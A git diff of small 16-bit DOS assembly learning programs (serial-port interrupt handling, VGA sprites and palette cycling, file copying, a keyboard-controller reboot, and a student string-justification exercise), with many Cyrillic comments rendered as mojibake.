+INT_SER_PORT	EQU 0Ch
+INT_MASK		EQU 0EFh	; (0F7h - for COM2-4)
+CONFIG			EQU 3	 	; (PARITY_NONE|SER_BITS_8|SER_STOP_1)
+SER_BAUD		EQU 3		; 38400
+BUF_LEN			EQU 1024
+;-------------------------------
+start:
+;		Open sereal port
+;----------------------------
+									;  Set port speed
+		mov dx, PORT+SER_LCR		;-------
+		mov al, SER_DIV_LATCH_ON	; à §à¥è ¥¬ § £à㧪㠤¥«¨â¥«ï
+		out dx, al					;-------
+
+		mov dx, PORT+SER_DLL		;-------
+		mov al, SER_BAUD			; ¯®áë« ¥¬ ¬« ¤è ¡ ©â ¤¥«¨â¥«ï
+		out dx, al					;-------
+
+		mov dx, PORT+SER_DLH		;-------
+		mov al, 0       			; ¯®áë« ¥¬ áâ àè ¡ ©â ¤¥«¨â¥«ï
+		out dx, al					;-------
+
+		mov dx, PORT+SER_LCR		;-------
+		mov al, CONFIG  			; ãáâ ª®­ä¨£ãà æ¨î ¯®àâ 
+		out dx, al					;-------
+
+		mov dx, PORT+SER_MCR		;-------
+		mov al, SER_GP02			;
+		out dx, al					; � §à¥è ¥¬
+		mov dx, PORT+SER_IER		;       ¯à¥à뢠­¨ï
+		mov al, 1					;
+		out dx, al					;-------
+
+		mov ah,	35h					;-----------
+		mov al, INT_SER_PORT		; Get Old 
+		int 21h						;		Vector
+		mov old_vec_seg,	es		;			PORT COM1
+		mov old_vec_offs,	bx		;-----------
+
+		mov ah,	25h					;-----------
+		mov al, INT_SER_PORT		; Set NEW 
+		mov dx, offset Serial_ISR	;		Vector
+		int 21h						;-----------
+
+		in 	al, PIC_IMR				; ‘â àë¥ ¡¨âë ª®­â஫«¥à  ¯à¥à뢠­¨©
+		mov old_int_mask, al		; 
+		and al, INT_MASK
+
+		out PIC_IMR, al				; à §à¥è ¥¬ ¯à¥à뢠­¨¥ COM1
+;-----------------------------------------------------------------
+		mov ah, 08h
+		int 21h
+
+;------------------------------------
+; Close port
+;		
+		mov dx, PORT+SER_MCR		;-------
+		mov al, 0					;
+		out dx, al					; ‡ ¯à¥é ¥¬
+		mov dx, PORT+SER_IER		;       ¯à¥à뢠­¨ï
+		mov al, 0					;
+		out dx, al					;-------
+		
+		mov al, old_int_mask		;
+		out PIC_IMR, al				; “áâ áâ àë¥ ­ áâனª¨ ª®­â஫«¥à  ¯à¥à뢠­
+
+		mov ah,	25h					;-----------
+		mov al, INT_SER_PORT		; Set OLD
+		mov dx, old_vec_offs		;		Vector
+		mov ds, old_vec_seg			;		Vector
+		int 21h						;-----------
+		int 20h
+
+; Interrupt vector
+Serial_ISR:
+	pusha
+		mov ser_lock, 1
+		mov dx, PORT+SER_RBF 
+		in al, dx    
+		inc pos_wrt
+		cmp pos_wrt, BUF_LEN-1
+		jna OK
+		mov pos_wrt, 0
+OK:		mov di, pos_wrt
+		mov buffer[di], al
+		inc char_ready
+		mov al, 20h
+		cli
+		out PIC_ICR, al
+		mov ser_lock, 0
+	popa
+iret
+
+Ser_Write	proc	near	; Ser_Write(ch: char)
+push bp
+mov bp, sp
+	CHAR	EQU byte ptr [bp+4]
+	pusha
+		mov dx, PORT+SER_LSR 
+WT:		in al, dx
+		and al, 20h
+		jz WT
+		mov dx, PORT+SER_THR
+		mov al, CHAR
+		cli
+		out dx, al
+		sti		
+	popa
+	pop bp
+	ret 2
+endp
+
+old_vec_offs	dw 0
+old_vec_seg		dw 0
+old_int_mask	db 0
+ser_lock		db 0
+pos_wrt			dw -1
+pos_rd			dw -1
+char_ready		db 0
+buffer			db BUF_LEN dup (?)
+end start

+ 148 - 0
ASM/!ALL/move.asm

@@ -0,0 +1,148 @@
+.286
+.model small
+.code
+org 100h
+;--------------------
+count equ     100
+delay equ     1
+startx equ    10
+starty equ    10
+sizex  equ    40
+sizey  equ    10
+;--------------------
+start:
+        mov ax, 13h
+        int 10h
+
+        mov curx, startx
+        mov cury, starty
+        mov cx, count
+lu:
+        mov ah, 06h
+        mov dl, 0ffh
+        int 21h
+        jnz  GAMEOVER
+        push curx
+        push cury
+        push offset face
+        push sizex
+        push sizey
+
+        call WriteSprite
+        mov ax, curx
+        cmp ax, 0
+        je toright
+b1:     add ax, sizex
+        cmp ax, 319
+        je toleft
+b2:     mov ax, cury
+        cmp ax, 0
+        je todown
+b3:     add ax,   sizey
+        cmp ax,   199
+        je toup
+        jmp gx
+toright:mov byte ptr cs:[offset gx+2], 06h
+        jmp b1
+toleft: mov byte ptr cs:[offset gx+2], 0Eh
+        jmp b2
+todown: mov byte ptr cs:[offset gy+2], 06h
+        jmp b3
+toup:   mov byte ptr cs:[offset gy+2], 0Eh
+gx:     dec curx
+gy:     dec cury
+        push delay
+        call CoolWait
+        jmp lu
+
+gameover:
+        mov ax, 3h
+        int 10h
+        int 20h
+;----------------------------------
+CoolWait        proc    near	; CoolWait(word delay);
+        push bp
+        mov bp, sp
+        push cx
+        mov cx, word ptr [bp+4]
+ggg:    push cx
+        mov cx, 0
+        loop $
+        pop cx
+        loop ggg
+        pop cx
+        pop bp
+ret 2
+endp
+;----------------------------------------
+WriteSprite proc near                   ;writesprite(x,y,char *sprt,razmx,razmy)
+    push bp
+    mov bp,sp
+razmy equ word ptr [bp+4]
+razmx equ word ptr [bp+6]
+sprt  equ word ptr [bp+8]
+posy  equ word ptr [bp+10]
+posx  equ word ptr [bp+12]
+    pusha
+    push es
+
+    mov ax, 0A000h
+    mov es, ax
+    mov ax, posy
+    mov bx, ax
+    shl ax, 8
+    shl bx, 6
+    add ax, bx
+    add ax, posx
+    mov di, ax
+    mov ax, sprt
+    mov si, ax
+    mov cx, razmy
+; 	Wait for Vsync
+		mov dx, 03DAh
+wait1:	in al,dx
+		and al, 08
+		jnz wait1
+wait2:	in al, dx
+		and al,08
+		jz wait2
+;
+lup:
+    push cx
+    mov cx, razmx
+    repe movsb
+    add di, 320
+    sub di,razmx
+    pop cx
+    loop lup
+
+    pop es
+    popa
+    pop bp
+ret 10
+endp
+
+curx dw ?
+cury dw ?
+
+face    db 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0
+        db 0,1,1,1,1,1,1,1,1,0, 0,2,2,0,0,0,0,2,2,0, 0,0,0,3,3,3,3,3,0,0, 0,4,4,0,0,0,4,4,0,0
+        db 0,1,1,1,1,1,1,1,1,0, 0,2,2,0,0,0,0,2,2,0, 0,0,3,3,0,0,0,3,3,0, 0,4,4,0,0,4,4,0,0,0
+        db 0,1,1,0,0,0,0,0,0,0, 0,2,2,0,0,0,0,2,2,0, 0,3,3,0,0,0,0,0,0,0, 0,4,4,0,4,4,0,0,0,0
+        db 0,1,1,1,1,1,0,0,0,0, 0,2,2,0,0,0,0,2,2,0, 0,3,3,0,0,0,0,0,0,0, 0,4,4,4,4,0,0,0,0,0
+        db 0,1,1,1,1,1,0,0,0,0, 0,2,2,0,0,0,0,2,2,0, 0,3,3,0,0,0,0,0,0,0, 0,4,4,4,4,0,0,0,0,0
+        db 0,1,1,0,0,0,0,0,0,0, 0,2,2,0,0,0,0,2,2,0, 0,3,3,0,0,0,0,3,3,0, 0,4,4,0,4,4,0,0,0,0
+        db 0,1,1,0,0,0,0,0,0,0, 0,0,2,2,0,0,2,2,0,0, 0,0,3,3,0,0,3,3,0,0, 0,4,4,0,0,4,4,0,0,0
+        db 0,1,1,0,0,0,0,0,0,0, 0,0,0,2,2,2,2,0,0,0, 0,0,0,3,3,3,3,0,0,0, 0,4,4,0,0,0,4,4,0,0
+        db 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0
+;face    db 0,0,0,0,0,0,0,0,0,0
+;        db 0,2,2,2,2,2,2,2,2,0
+;        db 0,2,0,0,3,3,0,0,2,0
+;        db 0,2,0,0,3,3,0,0,2,0
+;        db 0,2,6,6,3,6,6,6,2,0
+;        db 0,2,6,6,6,3,6,6,2,0
+;        db 0,2,0,0,3,3,0,0,2,0
+;        db 0,2,0,0,3,3,0,0,2,0
+;        db 0,2,2,2,2,2,2,2,2,0
+;        db 0,0,0,0,0,0,0,0,0,0
+end start

+ 87 - 0
ASM/!ALL/mycopy.asm

@@ -0,0 +1,87 @@
+jumps
+.model small
+.code
+org 100h
+start:  mov di,	80h
+	cmp byte ptr [di], 0
+	je errusg
+	mov al, [di]
+	mov ah, 0
+	mov dx, ax
+	dec dx
+	mov di, 82h
+	mov si,	offset fname1
+	mov cx,	0
+loop1:	mov al, [di]
+	mov [si], al
+	inc di
+	inc si
+	inc cx
+	cmp cx, dx
+	je errusg
+	cmp byte ptr [di], ' '
+	je nextloop2
+	jmp loop1
+nextloop2:
+	mov byte ptr [si], 0
+loop2:  inc di
+	inc cx
+ 	cmp byte ptr [di], ' '
+	je loop2
+	mov si,	offset fname2
+loop3:  mov al, [di]
+	mov [si], al
+	inc di
+	inc si
+	inc cx
+	cmp cx, dx
+	je begcopy
+	cmp byte ptr [di], ' '
+	je begcopy
+	jmp loop3
+begcopy:mov byte ptr [si], 0
+	mov ax, 3d00h
+	mov dx,	offset fname1
+	int 21h
+	jc openerr
+	mov si,	ax
+        mov ah,	3ch
+	mov cx,	0
+	mov dx,	offset fname2
+	int 21h
+	jc openerr
+	mov di, ax
+;------------------------
+loop4:  mov bx, si
+	mov ah, 3fh
+	mov dx,	offset buf
+	mov cx,	10000
+	int 21h
+	mov cx, ax
+	mov ah, 40h
+	mov bx, di
+	int 21h
+	cmp ax, 10000
+	jb  loopend
+        jmp loop4
+loopend:mov bx,si
+	mov ah,	3eh
+	int 21h
+        mov bx, di
+	mov ah,	3eh
+	int 21h
+	int 20h
+openerr:mov ah,	09h
+	mov dx,	offset errstr2
+	int 21h
+	int 20h
+errusg: mov ah,	09h
+	mov dx,	offset errstr
+	int 21h
+	int 20h
+errstr  db 'usage: "mycopy.exe source dest"$'
+errstr2 db 'File not found!$'
+fname1	db 13 dup (?)
+fname2	db 13 dup (?)
+buf	db 10000 dup (?)
+end start

+ 85 - 0
ASM/!ALL/pal.asm

@@ -0,0 +1,85 @@
+.model small
+.code
+org 100h
+start:	push	bp		; á⥪
+	mov	bp,sp
+	sub	sp, 303h
+
+	mov	ah,0		; ãáâ ­®¢ª  ० 320å200å256
+	mov	al,13h
+	int	10h
+
+	xor	bx,bx		; áç¨â뢠¥¬ ¯ «¨âàã ¢ [BP-4]-[BP+FCFDh]
+	mov	cx,0FDh
+	lea	dx,[bp][0FCFDh]	
+	mov	ax,ds
+	mov	es,ax
+	mov	ax,01017h
+	int	10h
+
+	mov	ax,0A000h       ; ãáâ ­ ¢«¨¢ ¥¬ es:di ­  ¢¨¤¥® ¯ ¬ïâì
+	mov	es,ax
+	xor	ax,ax
+	mov	di,ax
+	mov	cx,0FA00h	; ­ ç¨­ ¥¬ à¨á®¢ âì
+	mov	al,00h
+
+LP:	mov	es:[di],BYTE PTR al	; 横« ¯à®à¨á®¢ª¨
+	mov	ax,di
+	add	ax,01h
+	xor	dx,dx           ; ¯à®¢¥à塞, ªà â­® «¨ di 320â¨
+	mov	bx,0140h	
+	div	bx
+	mov	al, BYTE PTR es:[di]
+	add	di,1h
+	cmp	dx,0h
+	je	UVEL 		; ¥á«¨ ¤ , 㢥«¨ç¨¢ ¥¬ 梥â
+LOP:	loop	LP			; ª®­¥æ 横« 
+	jmp	e
+UVEL:   add	al,1h		; §¤¥áì 㢥«¨ç¨¢ ¥¬ 梥â
+	jmp	LOP
+
+e:	mov	al, [bp][0FD00h]	; á®å࠭塞 ¯¥à¢ë© 梥⠢ [BP-3]
+	mov	[bp-0003], al
+	mov	al, [bp][0FD01h]	; á®å࠭塞 ¯¥à¢ë© 梥⠢ [BP-2]
+	mov	[bp-0002], al
+	mov	al, [bp][0FD02h]	; á®å࠭塞 ¯¥à¢ë© 梥⠢ [BP-1]
+	mov	[bp-0001], al
+	lea	ax,[bp][0FD00h]	; ®â á¨å
+	lea	bx,[bp][0FD03h]
+	mov	si,bx
+	mov	di,ax
+	mov	ax,ds
+	mov	es,ax
+	mov	cx,02FAh
+	repe	movsb		; ¤® á¨å, ᬥ頥¬ ¯ «¨âàã ­¨¦¥
+	mov	al, [bp][-0003h]
+	mov	[bp-0006], al	; ¯®â¥àï­­ë© æ¢¥â ¢ ª®­¥æ ¯ «¨âàë
+	mov	al, [bp][-0002h]
+	mov	[bp-0005], al
+	mov	al, [bp][-0001h]
+	mov	[bp-0004], al
+	mov	dx,03DAh	; ¯®àâ á®áâ®ï­¨ï «ãç  ¬®­¨â®à 
+in1:	in	al,dx		; ®â á¨å
+	and	al,008h
+	jne	in1
+in2:	in	al,dx
+	and	al,008h
+	je	in2		; ¤® á¨å - ¦¤¥¬ ®¡à â­®£® 室  «ãç 
+	xor	bx,bx		; ®â á¨å
+	mov	cx,0100h
+	lea	dx,[bp][0FCFDh]
+	mov	ax,ds
+	mov	es,ax
+	mov	ax,01012h
+	int	10h		; ¤® á¨å - ¢áâ ¢«ï¥¬ ¯ «¨âàã
+	mov	ah,01h		; ¯à®¢¥àª  ­  ­ ¦ â¨¥ ª­®¯ª¨
+	int	16h             ; -----
+	jz	e		; ¥á«¨ ­¥âã, â® á­®¢ 
+	mov	ah,0
+	mov	al,3h		; ®¡à â­® ¢ ⥪áâ®¢ë© à¥¦¨¬
+	int	10h		; -----
+	mov	sp,bp		; ¢¥àâ ¥¬ á⥪
+	pop	bp
+	int	20h		; ⨯  ª®­¥æ :)
+end 	start

+ 82 - 0
ASM/!ALL/palnew.asm

@@ -0,0 +1,82 @@
+.model small
+.code
+org 100h
+start:	push	bp		; á⥪
+	mov	bp,sp
+	sub	sp, 02FDh
+
+	mov	ah,0		; ãáâ ­®¢ª  ० 320å200å256
+	mov	al,13h
+	int	10h
+
+	mov	ax,0A000h       ; ãáâ ­ ¢«¨¢ ¥¬ es:di ­  ¢¨¤¥® ¯ ¬ïâì
+	mov	es,ax
+	xor	ax,ax
+	mov	di,ax
+	mov	cx,0FA00h	; ­ ç¨­ ¥¬ à¨á®¢ âì
+	mov	al,00h
+
+LP:	mov	es:[di],BYTE PTR al	; 横« ¯à®à¨á®¢ª¨
+	mov	ax,di
+	add	ax,01h
+	xor	dx,dx           ; ¯à®¢¥à塞, ªà â­® «¨ di 320â¨
+	mov	bx,0140h	
+	div	bx
+	mov	al, BYTE PTR es:[di]
+	add	di,1h
+	cmp	dx,0h
+	je	UVEL 		; ¥á«¨ ¤ , 㢥«¨ç¨¢ ¥¬ 梥â
+LOP:	loop	LP			; ª®­¥æ 横« 
+	jmp	e
+
+UVEL:   add	al,1h		; §¤¥áì 㢥«¨ç¨¢ ¥¬ 梥â
+	jmp	LOP
+
+e: 	mov	bx,1		; áç¨â뢠¥¬ ¯ «¨âàã ¢ [BP-4]-[BP+FD00h]
+	mov	cx,0FFh
+	lea	dx,[bp][-02FDh]	
+	mov	ax,ds
+	mov	es,ax
+	mov	ax,01017h
+	int	10h
+
+	mov 	ax,1015
+	mov	bl,0FFh
+	int	10h
+	mov	bp[-003h],dh
+	mov	bp[-002h],cl
+	mov	bp[-001h],ch
+
+	mov	dx,03DAh	; ¯®àâ á®áâ®ï­¨ï «ãç  ¬®­¨â®à 
+in1:	in	al,dx		; ®â á¨å
+	and	al,008h
+	jne	in1
+in2:	in	al,dx
+	and	al,008h
+	je	in2		; ¤® á¨å - ¦¤¥¬ ®¡à â­®£® 室  «ãç 
+
+	mov	bx,2		; ®â á¨å
+	mov	cx,0100h
+	lea	dx,[bp][-02FDh]
+	mov	ax,ds
+	mov	es,ax
+	mov	ax,01012h
+	int	10h		; ¤® á¨å - ¢áâ ¢«ï¥¬ ¯ «¨âàã
+	
+	mov	ax,1010
+	mov	bx,0h
+	mov	ch,bp[-003h]
+	mov	cl,bp[-002h]
+	mov	dh,bp[-001h]
+	int	10h
+
+	mov	ah,01h		; ¯à®¢¥àª  ­  ­ ¦ â¨¥ ª­®¯ª¨
+	int	16h             ; -----
+	jz	e		; ¥á«¨ ­¥âã, â® á­®¢ 
+	mov	ah,0
+	mov	al,3h		; ®¡à â­® ¢ ⥪áâ®¢ë© à¥¦¨¬
+	int	10h		; -----
+	mov	sp,bp		; ¢¥àâ ¥¬ á⥪
+	pop	bp
+	int	20h		; ⨯  ª®­¥æ :)
+end 	start

+ 28 - 0
ASM/!ALL/perem.asm

@@ -0,0 +1,28 @@
+local_1 EQU [BP-2]
+local_2 EQU [BP-3]
+res	EQU [BP-4]
+.model small
+.code
+org 100h
+start:	push bp
+	mov bp,sp
+	sub sp,3
+	mov ah,1h
+	int 21h
+	mov local_1, al
+	int 21h
+	mov local_2, al
+	mov al,local_1
+	xor ah,ah
+	mov bl,local_2
+	xor bh,bh
+	add ax,bx
+	sub al,30h
+	mov res,al
+	mov ah,02
+	mov dl,BYTE PTR res
+	int 21h
+	mov sp,bp
+	pop bp
+	int 20h
+end	start

+ 7 - 0
ASM/!ALL/reboot.asm

@@ -0,0 +1,7 @@
+.model small
+.code 
+org 100h
+start:
+	mov     al,0feh
+	out     64h,al
+end start

+ 25 - 0
ASM/!ALL/simple.asm

@@ -0,0 +1,25 @@
+.model small
+.code
+org 100h
+start:	mov ah,9h
+	mov dx, offset msg
+	int 21h
+	mov ah,1h
+	int 21h
+	mov bl,al
+	mov ah,9h
+	mov dx, offset msg1
+	int 21h
+	mov ah,8h
+	int 21h
+	mov cl,al
+	sub cl,30h
+	mov ch,0
+	mov ah,2h
+	mov dl,bl
+LO:	int 21h
+	loop LO	
+	int 20h
+msg: db	'Enter Some Key: $'
+msg1:db	10,13,'Press number of repeat: $'
+end	start

+ 206 - 0
ASM/!ALL/string.asm

@@ -0,0 +1,206 @@
+.286
+.model small
+.code
+org 100h
+;--------------------
+
+ Black			equ	0
+ Blue			equ 1
+ Green			equ 2
+ Cyan			equ 3
+ Red			equ 4
+ Magenta		equ 5
+ Brown			equ 6
+ LightGray		equ 7
+ DarkGray		equ 8
+ LightBlue		equ 9
+ LightGreen		equ 10
+ LightCyan		equ 11
+ LightRed		equ 12
+ LightMagenta	equ 13
+ Yellow			equ 14
+ White			equ 15
+; Color Defenition
+FileColor  	equ		128
+FileBg		equ		22
+;--------------------
+start:
+		mov ax,	1130h
+		mov bh, 06h
+		int 10h
+		mov FontSeg, es
+		mov FontOffs, bp
+		mov ax, 13h
+        int 10h
+
+        mov ax,	3d00h	
+        mov dx, offset fname
+        int 21h
+        jc MainEnd
+        mov bx, ax
+
+		mov ah,	3fh
+		mov cx, 1f8h
+		mov dx, offset buf
+		int 21h
+		cmp ax, 0
+		je FileEnd 
+		mov cx, ax
+		mov di, dx
+ReadChar:
+		mov ah, 0
+		mov al, byte ptr [di]
+		cmp al, 0dh
+		jne writenorm
+		inc di
+		cmp byte ptr [di], 0ah
+		jne NewLine
+		inc di
+		dec cx
+		jmp NewLine		
+writenorm:
+		push charx
+		push chary
+		push ax
+		push filecolor
+		push filebg
+		push fontoffs
+		push fontseg
+		Call OutCharXY
+
+		inc	 di
+		cmp charX, 39
+		jne VeryGood
+		cmp byte ptr [di], 0Dh
+		loope ReadChar
+		jmp	FileEnd
+VeryGood:
+		inc charX
+		loop ReadChar
+		jmp FileEnd
+NewLine:
+		cmp charY, 11
+		je	FileEnd
+		inc charY
+		mov charX, 0
+		loop ReadChar
+
+FileEnd:
+		mov ah,3eh
+		int 21h        
+MainEnd:
+        mov ah, 8h		; ReadKey
+        int 21h			; 
+        mov ax, 3h		;
+        int 10h			; Set Text mode
+        int 20h			; Quit
+;---------------------------------------------
+OutCharXY proc near 		  ;OutCharXY(X,Y,Char,Color,bg,TableOffs,TableSeg)
+	push bp
+	mov bp, sp
+TableSeg  	equ word ptr [bp+4]
+TableOffs 	equ word ptr [bp+6]
+Color		equ byte ptr [bp+10]
+Bg	 		equ byte ptr [bp+8]
+Char 		equ byte ptr [bp+12]
+posY		equ	word ptr [bp+14]
+posX		equ	word ptr [bp+16]
+    pusha
+    push es
+;----------------------------
+;  Character Creation
+    	mov di, TableOffs
+    	mov es,	TableSeg  
+    	mov ah, 0
+    	mov al, Char
+        shl ax, 4
+		add di,	ax
+        mov cx,	16
+		mov si,	offset face
+MainLoop:
+		mov bh, es:di
+		push cx
+		mov cx, 8
+LineLoop:
+		test bh, 80h
+        jz	BackGround
+        mov ah, Color
+        mov byte ptr ds:[si], ah
+		jmp LoopEnd
+BackGround:
+        mov ah, Bg
+	    mov byte ptr ds:[si], ah
+LoopEnd:
+		shl bh, 1
+		inc si
+		loop LineLoop
+		pop cx
+		inc di
+		loop MainLoop
+; End of Character creation
+;=======================================
+	mov ax,	posX
+	shl ax, 3
+	push ax				; X position
+
+	mov ax,	posY
+	shl ax, 4
+	push ax 			; Y position
+
+	push offset face    ; Character bitmap
+	push 8				; SizeX
+	push 16				; SizeY
+    call WriteSprite	; WriteChar
+
+    pop es
+    popa
+	pop bp
+	ret 14
+endp
+;-------------------------------------------
+WriteSprite proc near         ;writesprite(x,y,char *sprt,razmx,razmy)
+    push bp
+    mov bp,sp
+razmy equ word ptr [bp+4]
+razmx equ word ptr [bp+6]
+sprt  equ word ptr [bp+8]
+posy  equ word ptr [bp+10]
+posx  equ word ptr [bp+12]
+    pusha
+    push es
+
+    mov ax, 0A000h
+    mov es, ax
+    mov ax, posy
+    mov bx, ax
+    shl ax, 8
+    shl bx, 6
+    add ax, bx
+    add ax, posx
+    mov di, ax
+    mov ax, sprt
+    mov si, ax
+    mov cx, razmy
+lup:
+    push cx
+    mov cx, razmx
+    repe movsb
+    add di, 320
+    sub di,razmx
+    pop cx
+    loop lup
+
+    pop es
+    popa
+    pop bp
+ret 10
+endp
+
+face		db 128 dup (?)
+FontOffs	dw ?
+FontSeg		dw ?
+fname 		db 'colors.txt' 
+charx		dw 0
+chary		dw 0
+buf 		db 1f8h dup (?)
+end start

+ 80 - 0
ASM/!ALL/swap.asm

@@ -0,0 +1,80 @@
+.model small
+.code 
+org 100h
+start:
+	mov ah,	3ch
+	mov cx,	0
+	mov dx,	offset fname2
+	int 21h
+
+	mov di, offset handle2
+	mov [di], ax
+
+	mov ax,	3d00h
+	mov dx,	offset fname
+	int 21h
+
+	mov di, offset handle
+	mov [di], ax
+
+	mov ah,	3fh
+	mov bx, [di]
+	mov cx,	500
+	mov dx, offset string
+	int 21h
+	
+	mov cx,	ax
+	mov si,	cx
+	mov word ptr string[si], 0A0Dh
+	mov di,	2
+	sub cx, 2
+reading:
+	mov si,	cx
+	cmp word ptr string[si], 0A0Dh
+	je lineend
+	jmp normal
+lineend:
+	mov ah,	40h
+	mov si, offset handle2
+	mov bx, [si]
+	mov si,	cx
+	PUSH cx
+	mov cx,	di
+	mov dx,	offset string
+	add dx,	si
+	add dx,	2
+	int 21h
+	POP cx
+	mov di, 0
+normal:
+	inc di
+	loop reading
+;------------------------------
+	mov ah,	40h
+	mov si, offset handle2
+	mov bx, [si]
+	mov si,	cx
+	mov cx,	di
+	add cx,	2
+	mov dx,	offset string
+	add dx,	si
+	int 21h
+	mov ah,	3eh
+	mov di, offset handle
+	mov bx,	[di]
+	int 21h
+
+	mov ah,	3eh
+	mov di, offset handle2
+	mov bx,	[di]
+	int 21h
+
+	int 20h
+
+fname	db 'inp.txt',0
+fname2	db 'out.txt',0
+handle	dw ?
+handle2 dw ?
+cool	dw 0A0Dh
+string	db 501 dup (?)
+end start

+ 6 - 0
ASM/!ALL/test.asm

@@ -0,0 +1,6 @@
+.model small
+.code
+org 100h
+start:
+	int 20h
+end start

+ 102 - 0
ASM/!ALL/write.asm

@@ -0,0 +1,102 @@
+.286
+.model small
+.code
+org 100h
+;--------------------
+startx equ    10
+starty equ    10
+sizex  equ    10
+sizey  equ    10
+;--------------------
+start:
+        mov ax, 13h
+        int 10h
+
+        push startx
+        push starty
+        push offset face
+        push sizex
+        push sizey
+        call WriteSprite
+
+        mov ah, 8h
+        int 21h
+
+        mov ax, 3h
+        int 10h
+
+        int 20h
+CoolWait        proc    near
+        push bp
+        mov bp, sp
+        push cx
+        mov cx, word ptr [bp+4]
+ggg:    push cx
+        mov cx, 0
+        loop $
+        pop cx
+        loop ggg
+        pop cx
+        pop bp
+ret 2
+endp
+
+WriteSprite proc near                   ;writesprite(x,y,char *sprt,razmx,razmy)
+    push bp
+    mov bp,sp
+razmy equ word ptr [bp+4]
+razmx equ word ptr [bp+6]
+sprt  equ word ptr [bp+8]
+posy  equ word ptr [bp+10]
+posx  equ word ptr [bp+12]
+    pusha
+    push es
+
+    mov ax, 0A000h
+    mov es, ax
+    mov ax, posy
+    mov bx, ax
+    shl ax, 8
+    shl bx, 6
+    add ax, bx
+    add ax, posx
+    mov di, ax
+    mov ax, sprt
+    mov si, ax
+    mov cx, razmy
+lup:
+    push cx
+    mov cx, razmx
+    repe movsb
+    add di, 320
+    sub di,razmx
+    pop cx
+    loop lup
+
+    pop es
+    popa
+    pop bp
+ret 10
+endp
+
+;face    db 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0
+;        db 0,1,1,1,1,1,1,1,1,0, 0,2,2,0,0,0,0,2,2,0, 0,0,0,3,3,3,3,3,0,0, 0,4,4,0,0,0,4,4,0,0
+;        db 0,1,1,1,1,1,1,1,1,0, 0,2,2,0,0,0,0,2,2,0, 0,0,3,3,0,0,0,3,3,0, 0,4,4,0,0,4,4,0,0,0
+;        db 0,1,1,0,0,0,0,0,0,0, 0,2,2,0,0,0,0,2,2,0, 0,3,3,0,0,0,0,0,0,0, 0,4,4,0,4,4,0,0,0,0
+;        db 0,1,1,1,1,1,0,0,0,0, 0,2,2,0,0,0,0,2,2,0, 0,3,3,0,0,0,0,0,0,0, 0,4,4,4,4,0,0,0,0,0
+;        db 0,1,1,1,1,1,0,0,0,0, 0,2,2,0,0,0,0,2,2,0, 0,3,3,0,0,0,0,0,0,0, 0,4,4,4,4,0,0,0,0,0
+;        db 0,1,1,0,0,0,0,0,0,0, 0,2,2,0,0,0,0,2,2,0, 0,3,3,0,0,0,0,3,3,0, 0,4,4,0,4,4,0,0,0,0
+;        db 0,1,1,0,0,0,0,0,0,0, 0,0,2,2,0,0,2,2,0,0, 0,0,3,3,0,0,3,3,0,0, 0,4,4,0,0,4,4,0,0,0
+;        db 0,1,1,0,0,0,0,0,0,0, 0,0,0,2,2,2,2,0,0,0, 0,0,0,3,3,3,3,0,0,0, 0,4,4,0,0,0,4,4,0,0
+;        db 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0
+face    db 0,0,0,0,0,0,0,0,0,0
+        db 0,2,2,2,2,2,2,2,2,0
+        db 0,2,0,0,3,3,0,0,2,0
+        db 0,2,0,0,3,3,0,0,2,0
+        db 0,2,6,6,3,6,6,6,2,0
+        db 0,2,6,6,6,3,6,6,2,0
+        db 0,2,0,0,3,3,0,0,2,0
+        db 0,2,0,0,3,3,0,0,2,0
+        db 0,2,2,2,2,2,2,2,2,0
+        db 0,0,0,0,0,0,0,0,0,0
+end start

BIN
ASM/!SPBSTU/4sem/1.COM


+ 172 - 0
ASM/!SPBSTU/4sem/1.asm

@@ -0,0 +1,172 @@
+; ‚ à¨ ­â 19
+; …­¨ª¥¥¢ ˆ.�.  2084/1
+.286
+.model tiny
+.data
+org 100h
+start:  
+        cmp byte ptr [from], 0  ; Test input string to non-empty
+        jnz $+5
+        jmp no_string
+
+        xor cx, cx              ; Begin of work
+        not cx
+        mov di, offset from     
+        mov al, ' '
+        repz scasb              ; Skip all spaces at the beginning
+        dec di
+        mov real_ofs, di        ; Save offset of first non-space character
+
+        xor ax, ax
+        xor cx, cx
+        not cx
+        repnz scasb             ; Search for tailing zero
+
+        dec di
+        dec di                  ; di - points to last non-zero char
+
+        not cx
+        dec cx
+        push cx                 ; Save full length of string
+
+        std                     ; Change direction flag to backwards
+        mov al, ' '
+        xor cx, cx
+        not cx
+        repz scasb              ; Search for non-space charecter at the end of string
+
+        inc di
+        inc di                  ; di points to next after last non-space
+        mov byte ptr [di], 0    ; Discard tailing spaces
+
+        not cx
+        dec cx                  ; Get count of tailing spaces
+
+        pop ax                  
+        sub ax, cx              ; Calculate length of trimmed string (without leading and tailing spaces)
+        jg  $+5                 ; If length is positive - countinue work
+        jmp no_string
+
+        cld                     ; Restore normal direction flag
+        mov cx, ax              ; Set trimmed length
+        mov di, real_ofs        ; Set pointer to the beginng of string
+
+
+        xor bx, bx              ; bx holds non-space chars count
+        xor dx, dx              ; dx holds word count-1
+
+word_loop:                      ; loop for calculate word and non-space char count in sentence
+        mov al, [di]            ; get char from string
+        test al, al             ; test for EOS
+        jz next_1               ; If so - we are reached end of string
+        cmp al, ' '             ; Compare with space
+        jz inloop1              ; if so - skip all following spaces and inc word count
+        inc bx                  ; Increment letters count
+        inc di                  ; advance pointer
+        dec cx                  ; decrement residuary string length
+        jnz word_loop           ; if we got non-tested chars - continue loop
+        jmp next_1              ; if not - end our loop
+
+inloop1:                        ; If we've found space in input string
+        inc dx                  ; Increment word count
+        inc cx                  ; Inc string's length for next line's right work
+        repz scasb              ; Skip all following spaces in input string
+        dec di                  ; Adjust pointer to point to first non-space char
+        jmp word_loop           ; Countinue loop
+                
+next_1: mov ax, need_len        ; Get our required output string length
+        sub ax, bx              ; Decrease this length by total count of letters
+                                ; to get count of spaces, that we need to arrange
+                                ; between words
+
+        cmp ax, dx              ; if that count is less than spaces we've got to put
+                                ; betten words to save them separated then
+        jl bad_len              ; Show error message
+        
